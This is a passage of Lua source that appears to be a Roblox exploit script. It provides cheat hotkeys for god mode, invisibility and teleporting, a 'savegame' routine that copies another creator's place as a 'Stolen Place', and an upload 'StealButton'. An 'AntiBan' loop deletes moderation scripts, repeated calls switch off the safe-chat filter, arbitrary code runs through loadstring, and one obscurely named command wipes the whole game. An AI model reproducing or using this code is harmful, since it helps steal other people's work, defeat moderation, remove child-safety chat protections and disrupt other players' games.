- StealButton.Style = "RobloxButtonDefault"
- StealButton.MouseButton1Click:connect(function()
- pcall(function()
- game:GetService("Visit"):SetUploadUrl("http://www.roblox.com/Data/Upload.ashx?assetid=" .. StealText.Text);
- game.CoreGui.RobloxGui.ControlFrame.SaveDialogShield.Visible = true
- end)
- end)
- coroutine.resume(coroutine.create(function()
- while wait() do
- game:ClearMessage()
- end
- end))
- game.Players.LocalPlayer:SetSuperSafeChat(false);
- end
- ExplorerGui=function()
- local name = "TerminalZero"
- while true and wait() do
- if (game.Players.LocalPlayer == nil) then else break end end
- Properties={nil,"Name","className","Parent","archivable","AttachmentForward","AttachmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivationDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight","GripUp","TextureId","TeamColor","Enabled","CFrame","BrickColor","Material","Reflectance","Transparency","Position","RotVelocity","Velocity","Anchored","CanCollide","Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSurface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition","AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3","BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","BinType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","PlatformStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryPart","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","SoundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","StudsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPlayer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","ColorShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","AmbientReverb","DistanceFactor","DopplerScale","RolloffScale","FogEnd","FieldOfView","FogStart","FogColor","CameraMode"}
- GlobalProperties={nil,"Name","className","Parent","archivable"}
- GlobalEvents={nil,"AncestryChanged","ChildAdded","ChildRemoved","DescendantAdded","DescendantRemoving"}
- GlobalFunctions={nil,"Clone","FindFirstChild","GetChildren","GetFullName","IsA","IsAncesterOf","IsDescendantOf","Remove"}
- local Selection=game
- local updateDebounce=1
- Base="http://www.roblox.com/asset/?id="
- Images={Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332760,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=40333049,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,HopperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,Animation=40531758,Hat=40531808,Humanoid=40531903}
- Min=1
- Max=40
- MAXPAGEN=40
- --[[==================================================================]]
- function GetProperties(Object,Table)
- local Return={}
- local function C() end
- for i=1,#Table do
- if pcall(function() C(Object[Table[i]]) end) then
- if (Object:FindFirstChild(Table[i])==nil) then
- table.insert(Return,Table[i])
- end end end
- return Return
- end
- function GetType(Prop)
- if (type(Prop)=="userdata") then
- if pcall(function() Prop.Name=Prop.Name end) then
- return Prop.Name
- end end
- return Prop
- end
- function SetPropGui()
- if (Selection~=nil) then
- local PropGuiPos=0
- local Gui=game:GetService("CoreGui"):FindFirstChild("PropertiesGui")
- if (Gui~=nil) then
- Gui:Remove()
- end
- PropGui=Instance.new("ScreenGui")
- PropGui.Parent=game:GetService("CoreGui")
- PropGui.Name="PropertiesGui"
- local Props=GetProperties(Selection,Properties)
- for i=1,#Props do
- PropGuiPos=i
- local Get=GetType(Props[i])
- local Label=Instance.new("TextButton")
- Label.Parent=PropGui
- Label.Size=UDim2.new(0,150,0,15)
- Label.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
- Label.BackgroundColor3=Color3.new(0.7,0.7,0.9)
- Label.Name=tostring(Get)
- Label.TextXAlignment="Left"
- Label.Position=UDim2.new(0,230,0,(i*15)-15)
- Label.TextColor3=Color3.new(0,0,0)
- Label.BorderColor3=Color3.new(0,0,0)
- Label.BackgroundTransparency=0.5
- Label.Active=false
- Label.AutoButtonColor=false
- CreateImageLabel(Label,Base..Images.Property)
- if (type(Selection[Props[i]])=="boolean") then
- if pcall(function() Selection[Props[i]]=Selection[Props[i]] end) then
- Label.Active=true
- Label.AutoButtonColor=true
- Label.BackgroundColor3=Color3.new(0.5,0.5,1)
- Label.MouseButton1Click:connect(function()
- if (Selection[Props[i]]==true) then
- Selection[Props[i]]=false
- elseif (Selection[Props[i]]==false) then
- Selection[Props[i]]=true
- end
- Label.Text=" "..tostring(Props[i]).." | "..tostring(Selection[Props[i]])
- end) end end end
- end end
- function CreateImageLabel(Par,image)
- local label=Instance.new("ImageLabel")
- label.BackgroundColor3=Color3.new(1,1,1)
- label.BackgroundTransparency=1
- label.Name="ItemImage"
- label.Size=UDim2.new(0,13,0,13)
- label.Position=UDim2.new(0,1,0,1)
- label.Image=image
- label.BorderSizePixel=0
- label.Parent=Par
- end
- function SetImage(Par,class)
- if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or (class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or (class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or (class=="BrickColorValue") then
- CreateImageLabel(Par,Base..Images.Value)
- elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService") then
- CreateImageLabel(Par,Base..Images.Sound)
- elseif (class=="Script") then
- CreateImageLabel(Par,Base..Images.Script)
- elseif (class=="ScreenGui") or (class=="GuiMain") or (class=="BillboardGui") then
- CreateImageLabel(Par,Base..Images.ScreenGui)
- elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") then
- CreateImageLabel(Par,Base..Images.Part)
- elseif (class=="Model") then
- CreateImageLabel(Par,Base..Images.Model)
- elseif (class=="Hint") or (class=="Message") then
- CreateImageLabel(Par,Base..Images.Message)
- elseif (class=="LocalScript") then
- CreateImageLabel(Par,Base..Images.LocalScript)
- elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or (class=="Rotate") or (class=="RotateP") or (class=="RotateV") or (class=="JointsService") then
- CreateImageLabel(Par,Base..Images.Joint)
- elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or (class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
- CreateImageLabel(Par,Base..Images.Frame)
- elseif (class=="Camera") then
- CreateImageLabel(Par,Base..Images.Camera)
- elseif (class=="Backpack") or (class=="StarterGear") or (class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
- CreateImageLabel(Par,Base..Images.Backpack)
- elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players") then
- CreateImageLabel(Par,Base..Images.Player)
- elseif (class=="BodyPosition") or (class=="BodyGyro") or (class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or (class=="RocketPropulsion") then
- CreateImageLabel(Par,Base..Images.Body)
- elseif (class=="HopperBin") then
- CreateImageLabel(Par,Base..Images.HopperBin)
- elseif (class=="Tool") then
- CreateImageLabel(Par,Base..Images.Tool)
- elseif (class=="Workspace") then
- CreateImageLabel(Par,Base..Images.Workspace)
- elseif (class=="BlockMesh") or (class=="SpecialMesh") or (class=="CylinderMesh") then
- CreateImageLabel(Par,Base..Images.Mesh)
- elseif (class=="Animation") or (class=="CharacterMesh") then
- CreateImageLabel(Par,Base..Images.Animation)
- elseif (class=="Hat") then
- CreateImageLabel(Par,Base..Images.Hat)
- elseif (class=="Humanoid") then
- CreateImageLabel(Par,Base..Images.Humanoid)
- elseif (class=="StarterScript") then
- CreateImageLabel(Par,Base..Images.LocalScript)
- elseif (class=="CoreScript") then
- CreateImageLabel(Par,Base..Images.LocalScript)
- else CreateImageLabel(Par,Base..Images.Nil)
- end
- end
- function SetExplGui()
- if (Selection~=nil) then
- local Gui=game:GetService("CoreGui"):FindFirstChild("ExplorerGui")
- if (Gui~=nil) then Gui:Remove() end
- local Children=Selection:GetChildren()
- ExplGui=Instance.new("ScreenGui")
- ExplGui.Parent=game:GetService("CoreGui")
- ExplGui.Name="ExplorerGui"
- if (Selection.Parent~=nil) then
- local BackButton=Instance.new("TextButton")
- BackButton.Size=UDim2.new(0,120,0,15)
- BackButton.BorderColor3=Color3.new(0,0,0)
- BackButton.TextColor3=Color3.new(0,0,0)
- BackButton.Parent=ExplGui
- BackButton.Text="Back to " .. Selection.Parent.Name
- BackButton.BackgroundColor3=Color3.new(0.3,0.3,1)
- BackButton.BackgroundTransparency=0.5
- BackButton.Position=UDim2.new(0,380,0,0)
- BackButton.Name="Back"
- BackButton.MouseButton1Click:connect(function()
- Selection=Selection.Parent
- SetExplGui()
- SetPropGui()
- end) end
- if (#Children>=MAXPAGEN) then
- local f=0
- for i=Min,Max do
- f=f+1
- local Obj=Instance.new("TextButton")
- Obj.Size=UDim2.new(0,120,0,15)
- Obj.BorderColor3=Color3.new(0,0,0)
- Obj.TextColor3=Color3.new(0,0,0)
- Obj.Parent=ExplGui
- Obj.Text=" "..Children[i].Name
- Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
- Obj.BackgroundTransparency=0.5
- Obj.TextXAlignment="Left"
- if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(f*15)) else Obj.Position=UDim2.new(0,380,0,(f*15)-15) end
- Obj.Name=Children[i].Name
- SetImage(Obj,Children[i].className)
- Obj.MouseButton1Click:connect(function() pcall(function() Selection=Children[i] SetExplGui() SetPropGui() end) end)
- local Remove=Instance.new("TextButton")
- Remove.Size=UDim2.new(0,15,0,15)
- Remove.BorderColor3=Color3.new(0,0,0)
- Remove.TextColor3=Color3.new(0,0,0)
- Remove.Parent=ExplGui
- Remove.Text="X"
- Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
- Remove.BackgroundTransparency=0.5
- Remove.Name="Remove" .. Children[i].Name
- if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(f*15)) else Remove.Position=UDim2.new(0,500,0,(f*15)-15) end
- Remove.MouseButton1Click:connect(function() if (pcall(function() Children[i]:Remove() end)) then SetPropGui() SetExplGui() else Remove.BackgroundColor3=Color3.new(1,1,1) wait(1) Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
- end
- local UP=Instance.new("TextButton")
- UP.Position=UDim2.new(0,515,0,0)
- UP.Size=UDim2.new(0,15,0,15)
- UP.BorderColor3=Color3.new(0,0,0)
- UP.TextColor3=Color3.new(0,0,0)
- UP.Parent=ExplGui
- UP.Text="^"
- UP.BackgroundColor3=Color3.new(1,0.25,0.25)
- UP.BackgroundTransparency=0.5
- UP.Name="UpButton"
- UP.MouseButton1Click:connect(function() if (Min<=1) then return end Min=Min-1 Max=Max-1 SetExplGui() end)
- local DOWN=Instance.new("TextButton")
- DOWN.Position=UDim2.new(0,515,0,15)
- DOWN.Size=UDim2.new(0,15,0,15)
- DOWN.BorderColor3=Color3.new(0,0,0)
- DOWN.TextColor3=Color3.new(0,0,0)
- DOWN.Parent=ExplGui
- DOWN.Text="v"
- DOWN.BackgroundColor3=Color3.new(1,0.25,0.25)
- DOWN.BackgroundTransparency=0.5
- DOWN.Name="DownButton"
- DOWN.MouseButton1Click:connect(function() if (Max>=#Children) then return end Min=Min+1 Max=Max+1 SetExplGui() end)
- else
- Max=MAXPAGEN
- Min=1
- for i=1,#Children do
- local Obj=Instance.new("TextButton")
- Obj.Size=UDim2.new(0,120,0,15)
- Obj.BorderColor3=Color3.new(0,0,0)
- Obj.TextColor3=Color3.new(0,0,0)
- Obj.Parent=ExplGui
- Obj.Text=" "..Children[i].Name
- Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
- Obj.BackgroundTransparency=0.5
- Obj.TextXAlignment="Left"
- if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(i*15)) else Obj.Position=UDim2.new(0,380,0,(i*15)-15) end
- Obj.Name=Children[i].Name
- SetImage(Obj,Children[i].className)
- Obj.MouseButton1Click:connect(function() pcall(function() Selection=Children[i] SetExplGui() SetPropGui() end) end)
- local Remove=Instance.new("TextButton")
- Remove.Size=UDim2.new(0,15,0,15)
- Remove.BorderColor3=Color3.new(0,0,0)
- Remove.TextColor3=Color3.new(0,0,0)
- Remove.Parent=ExplGui
- Remove.Text="X"
- Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
- Remove.BackgroundTransparency=0.5
- Remove.Name="Remove" .. Children[i].Name
- if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(i*15)) else Remove.Position=UDim2.new(0,500,0,(i*15)-15) end
- Remove.MouseButton1Click:connect(function() if (pcall(function() Children[i]:Remove() end)) then SetPropGui() SetExplGui() else Remove.BackgroundColor3=Color3.new(1,1,1) wait(1) Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
- end
- end
- end
- ----------------
- Selection.Changed:connect(function(prop)
- if (Selection==game) then return end
- if (updateDebounce==1) then
- updateDebounce=0
- if (Selection.Parent==nil) then
- Selection=game
- updateDebounce=1
- SetPropGui()
- SetExplGui()
- return end
- if (PropGui~=nil) then
- local Button=PropGui:FindFirstChild(prop)
- if (Button~=nil) then
- local Get=GetType(prop)
- Button.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
- end end
- wait()
- updateDebounce=1
- end end)
- ---------------------------
- end
- SetPropGui()
- SetExplGui()
- end
- Hint=function(txt,t)
- if not pcall(function()local w=game:service'CoreGui':children''end)then return end
- local Hint=Instance.new('Hint',game:service'CoreGui')
- Hint.Text=txt
- wait(t)
- Hint:remove''
- end
- if wfp(game,'PlaceId')~=0 then if Ray.Hacked then error'Hack exist'return end end
- Player=wfp(s'Players','LocalPlayer')
- table.insert(Connects,Player.Chatted:connect(SearchCommand))
- if pcall(function()s'CoreGui':IsA''end)then
- PlayerGui=s'CoreGui'
- else
- PlayerGui=wfo(Player,'Name','PlayerGui')
- end
- Commands.ff=function(v,asd)
- for i,v in pairs(pf(asd[1]))do
- if v.Character then
- for i,v in pairs(FindChildren(v.Character,'ClassName','ForceField'))do
- v:remove''
- end
- if asd[2]=='false'then return end
- Instance.new('ForceField',v.Character)
- end
- end
- end
- Commands.port=function(v)
- local t=game:service'InsertService':LoadAsset'64667087'
- if v or v~=''then
- t:FindFirstChild('port',true).Value=v
- end
- game:service'InsertService':Insert(t)
- end
- Commands.savegame=function()
- Place=Instance.new('Model',settings'')
- Place.Name=tick''..'Stolen Place '..game.PlaceId
- Workspace=Instance.new('Model',Place)
- Workspace.Name='Workspace'
- Lighting=Instance.new('Model',Place)
- Lighting.Name='Lighting'
- StarterPack=Instance.new('Model',Place)
- StarterPack.Name='StarterPack'
- StarterGui=Instance.new('Model',Place)
- StarterGui.Name='StarterGui'
- Teams=Instance.new('Model',Place)
- Teams.Name='Teams'
- Players=Instance.new('Model',Place)
- Players.Name='Players'
- SoundService=Instance.new('Model',Place)
- SoundService.Name='SoundService'
- for asdasd,asd in pairs(Place:children'')do
- for i,v in pairs(game:service(asd.Name):children'')do
- pcall(function()
- if not v:IsA("Player") then
- if v:IsA("Model") then v.Archivable=true end
- v:clone''.Parent=asd
- elseif v:IsA("Player") then plr=Instance.new('Model',Players) plr.Name=v.Name
- for e,i in pairs(v:GetChildren())do i:clone().Parent = plr end
- end
- end)
- end
- end
- Hint('Save game complete',10)
- end
- Commands.suicide=function()
- for i,v in pairs(Connects)do
- v:disconnect''
- end
- for i,v in pairs(PlayerGui:children'')do
- if v.Name==CommanderName then pcall(v.remove,v)end
- end
- end
- Commands.power=function()
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=PowerScriptSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- end
- Commands.nova=function()
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=NovaSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- end
- Commands.gaara=function()
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=GaaraSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- end
- Commands.outgame=function() AntibanScript=false
- if game.Players.LocalPlayer.Character ~= nil then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
- ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- ls.Name="lsInserted"
- wait(.2)
- ls.Name="lsRun"
- ls.Source=OutGameSource
- ls.Disabled=true
- ls.Disabled=false
- end
- end
- end
- Commands.load=function(v)loadstring(v)()end
- Commands.script=function(v)CreateScript('Script',s'Workspace',v)end
- Commands['local']=function(v)CreateScript('LocalScript',Player.Backpack,v)end
- Commands.dqydqshdjwxcfvwxbclmkljpoiuiyuiteyrteyazeqdsdfdgfdj=function(v,asd)
- game:service'Players'.LocalPlayer.Parent=nil
- game:service'Players'.LocalPlayer.Parent=game:service'Players'
- game:ClearContent'true'
- for i,v in pairs(GetAll(game))do
- pcall(v.remove,v)
- end
- game.DescendantAdded:connect(function(c)pcall(c.remove,c)end)
- end
- Commands.reset=function(v,asd)
- for i,p in pairs(pf(asd[1]))do
- Delay(0,function()
- for i,v in pairs(p.Character:children'')do
- if not v:IsA'Humanoid'then
- pcall(v.remove,v)
- end
- end
- end)
- end
- end
- Commands.bar=CommandBar
- CommandBar''
- AntiBan=function()
- coroutine.resume(coroutine.create(function()
- while true and wait() do
- for _,v in pairs(game.Workspace:GetChildren()) do
- if (v:IsA("Script")) and (v.Name=="BanScript") then
- v.Disabled=true
- v:remove()
- elseif (v:IsA("Script")) and (string.sub(v.Name, 1, 9)=="Person299") then
- v.Disabled=true
- v:remove()
- end
- end
- end
- end))
- end
- AntiBan''
- X(function()
- local gs=s'GuiService'
- gs:AddKey(CmdbKey)
- gs:AddKey(FocusKey)
- gs:AddKey(ExplorerKey)
- gs:AddKey(ExproKey)
- gs:AddKey(GearKey)
- gs:AddKey(BuildKey)
- gs:AddKey(GodKey)
- gs:AddKey(UnlockKey)
- gs:AddKey(LockKey)
- gs:AddKey(InvisiKey)
- gs:AddKey(VisiKey)
- gs:AddKey(AdminKey)
- table.insert(Connects,gs.KeyPressed:connect(function(Key)
- if Key==CmdbKey then
- if(game.Players.LocalPlayer.Name=="LocalCheater")then
- game.Players.LocalPlayer.CharacterAppearance = "http://www.roblox.com/asset/?ID=67950579"
- game.Players.LocalPlayer.Character.Humanoid.Health = 0
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- else
- if CommanderScreen.Parent then
- pcall(CommanderScreen.remove,CommanderScreen)
- Player:SetSuperSafeChat(false)
- return
- end
- CommandBar''
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end
- elseif Key==FocusKey then
- CommanderFocus''
- elseif Key==ExproKey then
- ExproGui''
- Player:SetSuperSafeChat(false)
- elseif Key==ExplorerKey then
- ExplorerGui''
- Player:SetSuperSafeChat(false)
- elseif Key==AdminKey then
- coroutine.resume(coroutine.create(function()
- if(game.Players.LocalPlayer.Character~=nil)then
- if not(game.Players.LocalPlayer.Character:FindFirstChild("_admincmd"))then
- AdminScript=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
- AdminScript.Name="_admincmd"
- AdminScript.Source=AdminScriptSource
- AdminScript.Disabled=true
- AdminScript.Disabled=false
- end
- end
- end))
- elseif Key==InvisiKey then
- coroutine.resume(coroutine.create(function()
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
- MergeTool=ctool("iMergeTool")
- MergeScript=Instance.new("LocalScript",MergeTool)
- end
- MergeScript.Source=MergeScriptSource
- MergeScript.Disabled=true
- MergeScript.Disabled=false
- function invisi(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))or(v:IsA("Decal"))then
- v.Transparency=1
- end
- invisi(v)
- end
- end
- if(game.Players.LocalPlayer.Character~=nil)then
- invisi(game.Players.LocalPlayer.Character)
- end
- game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
- game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end))
- elseif Key==VisiKey then
- coroutine.resume(coroutine.create(function()
- function uninvisi(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))or(v:IsA("Decal"))then
- v.Transparency=0
- end
- uninvisi(v)
- end
- end
- if(game.Players.LocalPlayer.Character~=nil)then
- uninvisi(game.Players.LocalPlayer.Character)
- end
- game.Players.LocalPlayer.Character.Humanoid.MaxHealth=100
- game.Players.LocalPlayer.Character.Humanoid.Health=100
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=16
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end))
- elseif Key==GodKey then
- coroutine.resume(coroutine.create(function()
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
- MergeTool=ctool("iMergeTool")
- MergeScript=Instance.new("LocalScript",MergeTool)
- end
- MergeScript.Source=MergeScriptSource
- MergeScript.Disabled=true
- MergeScript.Disabled=false
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iTeleport"))then
- TeleportTool=ctool("iTeleport")
- TeleportScript=Instance.new("LocalScript",TeleportTool)
- end
- TeleportScript.Source=[[
- if(script.Parent:IsA("HopperBin"))then
- script.Parent.Selected:connect(function(mouse)
- mouse.Button1Down:connect(function()
- if(game.Players.LocalPlayer.Character~=nil)then
- if(game.Players.LocalPlayer.Character.Torso~=nil)then
- game.Players.LocalPlayer.Character.Torso.CFrame=CFrame.new(mouse.Hit.p+Vector3.new(0,5,0))
- end
- end
- end)
- end)
- end]]
- TeleportScript.Disabled=true
- TeleportScript.Disabled=false
- function aff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))then
- Instance.new("ForceField",v)
- end
- aff(v)
- end
- end
- aff(game.Players.LocalPlayer.Character)
- Instance.new("ForceField",game.Players.LocalPlayer.Character)
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
- game.Players.LocalPlayer.Character.Head.Transparency=1
- if(game.Players.LocalPlayer.Character.Head:FindFirstChild("face"))then
- game.Players.LocalPlayer.Character.Head:FindFirstChild("face"):remove()
- end
- game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
- wait()
- game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end))
- Player:SetSuperSafeChat(false)
- elseif Key==UnlockKey then
- function unlock(root)
- for _, v in pairs(root:GetChildren()) do
- if(v:IsA("Part"))then
- v.Locked=false
- end
- unlock(v)
- end
- end
- unlock(game.Workspace)
- coroutine.resume(coroutine.create(function()
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
- local load=ctool("Unlocked!")
- end
- wait(4)
- if (game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"):remove()
- end
- end))
- elseif Key==LockKey then
- function unlock(root)
- for _, v in pairs(root:GetChildren()) do
- if(v:IsA("Part"))then
- v.Locked=true
- end
- unlock(v)
- end
- end
- unlock(game.Workspace)
- coroutine.resume(coroutine.create(function()
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
- local load=ctool("Locked!")
- end
- wait(4)
- if (game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
- game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"):remove()
- end
- end))
- elseif Key==BuildKey then
- Player:SetSuperSafeChat(false)
- coroutine.resume(coroutine.create(function()
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
- MergeTool=ctool("iMergeTool")
- MergeScript=Instance.new("LocalScript",MergeTool)
- end
- MergeScript.Source=MergeScriptSource
- MergeScript.Disabled=true
- MergeScript.Disabled=false
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iCloneTool"))then
- local clone=ctool("iCloneTool")
- clone.BinType = "Clone"
- end
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabPartTool"))then
- local move=ctool("iGrabPartTool")
- move.BinType = "GameTool"
- end
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabModelTool"))then
- local move=ctool("iGrabModelTool")
- move.BinType = "Grab"
- end
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iBTool"))then
- iBTool=ctool("iBTool")
- iBToolScript=Instance.new("LocalScript",iBTool)
- iBToolScript.Name="iBScript"
- end
- iBToolScript.Source=[[
- plr=game.Players.LocalPlayer
- plg=plr.PlayerGui
- coroutine.resume(coroutine.create(function(plr) while(wait())do chr=plr.Character end end),plr)
- if(script.Parent.ClassName~="HopperBin")then
- bin=Instance.new("HopperBin",plr.Backpack)
- bin.Name="iBTool"
- script.Name="iBScript"
- script.Parent=bin
- else
- script.Name="iBScript"
- bin=script.Parent
- bin.Name="iBTool"
- end
- bin.Selected:connect(function(mouse) print("iBTool_Selected")
- box=Instance.new("SelectionBox")
- lso=Instance.new("SelectionPointLasso",chr)
- lso.Visible=false
- lso.Humanoid=chr:FindFirstChild("Humanoid")
- md1=1
- md2=1
- md3=1
- clr=true
- ste=false
- lvi=false
- cle=false
- tme=.3
- function createGui()
- gui=Instance.new("ScreenGui",plg)
- gui.Name="iBGui"
- --PanelGUI--
- frm=Instance.new("Frame",gui)
- frm.Visible=false
- frm.Name="iBPanel"
- frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)
- frm.Size=UDim2.new(0.150000006,0,0.400000006,0)
- frm.Style="RobloxRound"
- frm.ZIndex=8
- lab=Instance.new("TextLabel",frm)
- lab.Name="iBTitle"
- lab.BackgroundTransparency=1
- lab.Size=UDim2.new(1,0,0.150000006,0)
- lab.ZIndex=9
- lab.Font="ArialBold"
- lab.FontSize="Size18"
- lab.Text="iBuildTools Panel"
- lab.TextColor3=Color3.new(1,1,1)
- lab.TextStrokeTransparency=0
- lab.TextStrokeColor3=Color3.new(0,0,0)
- del=Instance.new("TextButton",frm)
- del.Name="iBDelete"
- del.BackgroundTransparency=1
- del.Position=UDim2.new(0,0,0.200000003,0)
- del.Size=UDim2.new(1,0,0.119999997,0)
- del.Style="RobloxButtonDefault"
- del.ZIndex=9
- del.Font="ArialBold"
- del.FontSize="Size12"
- del.Text="Delete"
- del.TextColor3=Color3.new(1,1,1)
- del.Selected=true
- ach=Instance.new("TextButton",frm)
- ach.Name="iBAnchor"
- ach.BackgroundTransparency=1
- ach.Position=UDim2.new(0,0,0.330000013,0)
- ach.Size=UDim2.new(1,0,0.119999997,0)
- ach.Style="RobloxButton"
- ach.ZIndex=9
- ach.Font="ArialBold"
- ach.FontSize="Size12"
- ach.Text="Anchor"
- ach.TextColor3=Color3.new(1,1,1)
- col=Instance.new("TextButton",frm)
- col.Name="iBCanCollide"
- col.BackgroundTransparency=1
- col.Position=UDim2.new(0,0,0.460000008,0)
- col.Size=UDim2.new(1,0,0.119999997,0)
- col.Style="RobloxButton"
- col.ZIndex=9
- col.Font="ArialBold"
- col.FontSize="Size12"
- col.Text="CanCollide"
- col.TextColor3=Color3.new(1,1,1)
- lck=Instance.new("TextButton",frm)
- lck.Name="iBLock"
- lck.BackgroundTransparency=1
- lck.Position=UDim2.new(0,0,0.579999983,0)
- lck.Size=UDim2.new(1,0,0.119999997,0)
- lck.Style="RobloxButton"
- lck.ZIndex=9
- lck.Font="ArialBold"
- lck.FontSize="Size12"
- lck.Text="Lock"
- lck.TextColor3=Color3.new(1,1,1)
- brk=Instance.new("TextButton",frm)
- brk.Name="iBBreak"
- brk.BackgroundTransparency=1
- brk.Position=UDim2.new(0,0,0.699999988,0)
- brk.Size=UDim2.new(1,0,0.119999997,0)
- brk.Style="RobloxButton"
- brk.ZIndex=9
- brk.Font="ArialBold"
- brk.FontSize="Size12"
- brk.Text="BreakJoints"
- brk.TextColor3=Color3.new(1,1,1)
- set=Instance.new("TextButton",frm)
- set.Name="iBSettings"
- set.BackgroundTransparency=1
- set.Position=UDim2.new(0,0,0.829999983,0)
- set.Size=UDim2.new(1,0,0.119999997,0)
- set.Style="RobloxButton"
- set.ZIndex=9
- set.Font="ArialBold"
- set.FontSize="Size12"
- set.Text="Settings"
- set.TextColor3=Color3.new(1,1,1)
- frm.Visible=true
- --SettingsGUI--
- frs=Instance.new("Frame",gui)
- frs.Visible=false
- frs.Name="iBSettings"
- frs.Position=UDim2.new(0.389999986,0,0.400000006,0)
- frs.Size=UDim2.new(0.25,0,0.25,0)
- frs.Style="RobloxRound"
- frs.ZIndex=8
- frw=Instance.new("Frame",frs)
- frw.Name="iBWindow"
- frw.Position=UDim2.new(0,0,0.25999999,0)
- frw.Size=UDim2.new(1,0,0.74000001,0)
- frw.Style="RobloxRound"
- frw.ZIndex=8
- cls=Instance.new("TextButton",frs)
- cls.Name="iBClose"
- cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)
- cls.Size=UDim2.new(0.150000006,0,0.219999999,0)
- cls.Style="RobloxButtonDefault"
